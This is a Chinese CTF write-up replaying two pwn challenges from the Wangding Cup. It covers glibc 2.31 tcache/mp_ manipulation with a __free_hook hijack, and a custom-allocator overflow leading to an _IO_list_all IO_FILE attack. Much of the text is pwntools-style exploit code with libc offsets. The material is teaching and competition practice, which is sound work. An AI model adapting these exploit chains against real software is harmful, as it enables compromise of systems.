第四届网鼎杯白虎组Pwn方向详细复现
字数 1449 2025-08-23 18:31:34
网鼎杯白虎组Pwn方向详细复现与教学
题目1:基于libc2.31的堆利用
题目概述
- 保护全开(PIE、NX、Canary等)
- 无UAF和off-by-one/null漏洞
- 特殊功能:edit函数可以往任意地址写入固定值666666
关键漏洞分析
- 任意地址写限制:虽然可以写入任意地址,但只能写入固定值666666
- mp_结构体利用:通过修改mp_.tcache_bins扩展tcache范围
利用思路
-
泄露libc和堆地址:
- 通过large bin泄露libc地址
- 通过堆布局泄露堆地址
-
修改mp_结构体:
- 定位mp_.tcache_bins(libc基址+0x1EC280+0x50)
- 使用edit函数修改该值
-
控制tcache:
- 通过修改后的tcache机制控制堆分配
- 劫持free_hook为system
详细利用步骤
-
堆布局:
add(0x500, b'a') # chunk 0 add(0x500, b'/bin/sh\x00') # chunk 1 add(0x500, b'a') # chunk 2 add(0x500, b'a') # chunk 3 add(0x100, b'a') # chunk 4 -
泄露libc:
delete(2) add(0x500, b'a'*8) show(5) libcbase = u64(p.recv(6).ljust(8, b"\x00")) - 0x1ecbe0 -
修改mp_.tcache_bins:
mp_ = libcbase + 0x1EC280 + 0x50 edit(p64(mp_)) -
控制tcache并劫持free_hook:
delete(3) delete(0) add(0x500, p64(0)*13 + p64(free_hook)) add(0x500, p64(system)) delete(1) # 触发system("/bin/sh")
关键知识点
-
mp_结构体:
struct malloc_par { size_t tcache_bins; // 0x50偏移 size_t tcache_max_bytes; // 0x58 size_t tcache_count; // 0x60 size_t tcache_unsorted_limit; // 0x68 }; -
tcache机制:
- 修改tcache_bins可以扩展tcache管理的chunk大小范围
- 通过控制tcache的entries可以实现任意地址分配
题目2:自定义堆管理器的漏洞利用
题目概述
- 实现了自定义的pmalloc/pfree函数
- 支持加密堆块功能(第31位标记加密状态)
- 无tcache,有类似fastbin和unsorted bin的机制
关键漏洞分析
- malloc逻辑缺陷:即使请求大小不合理,仍会返回堆地址,导致越界写
- 加密机制:可通过特定方式泄露secret_table
- fastbin类似机制:存在类似glibc2.32+的异或加密
利用思路
-
泄露关键信息:
- 通过unsorted bin泄露libc
- 通过加密堆块泄露secret_table
- 通过释放堆块泄露heap地址
-
利用越界写:
- 申请超大size(0xffffffdf)触发漏洞
- 构造fake chunk实现任意地址分配
-
IO_FILE利用:
- 通过错位构造fake fastbin chunk
- 劫持_IO_list_all实现控制流劫持
详细利用步骤
-
泄露libc:
add(0, 0x208) add(1, 0x18) delete(0) add(0, 0x208) show(0) libcbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x1f70e8 -
泄露secret_table:
add_enc(2, 0x118) add(3, 0xffffffdf) # 触发漏洞 show_enc(2, "\x00", 0) cipher = p.recv(0x100) # 计算secret_table... -
泄露heap:
delete(5) add(5, 0x68) show(5) heapbase = u64(p.recv(8)) << 12 -
构造IO_FILE攻击:
# 构造fake fastbin chunk指向_IO_list_all-0x23 edit_enc(3, 0x88, dec(b"a"*0x78 + p64(0x71) + p64((libcbase+0x1ed5a0-0x23) ^ (heapbase>>12))), b"\x00", 0) # 分配到伪造的chunk add(5, 0x68) add(6, 0x68) # 构造IO_FILE结构 edit(6, 0x1b, b"a"*0x13 + p64(heapbase+0x2b0)) # 设置wide_data和payload...
关键知识点
-
自定义堆管理器特点:
- 类似ptmalloc但没有tcache
- fastbin有类似glibc2.32+的异或加密
- malloc失败时仍返回地址的漏洞
-
加密机制:
cipher_value = plain[i] ^ i ^ (buf[i] - table[i]) # 当key和cipher为\x00时,可以逆向计算table -
IO_FILE利用:
- 通过错位构造控制_IO_list_all
- 需要精心构造wide_data和主FILE结构
总结与技巧
-
堆利用通用技巧:
- 优先考虑信息泄露(libc、heap、关键数据结构)
- 分析管理结构(如mp_、secret_table等)
- 寻找非预期行为(如题目2的malloc漏洞)
-
逆向分析技巧:
- 与已知分配器(ptmalloc)对比分析
- 重点关注边界条件处理
- 追踪关键数据结构的变化
-
复杂利用构建:
- 分阶段实施(泄露->准备->利用)
- 善用加密/解密函数封装
- 对复杂结构(如IO_FILE)分模块构造
-
调试技巧:
- 在关键操作前后设置断点
- 使用telescope等命令查看内存布局
- 验证关键假设(如偏移计算)
通过这两个题目的分析,可以学习到从标准堆利用到自定义堆管理器的漏洞利用方法,以及如何通过逆向分析发现非预期漏洞的技巧。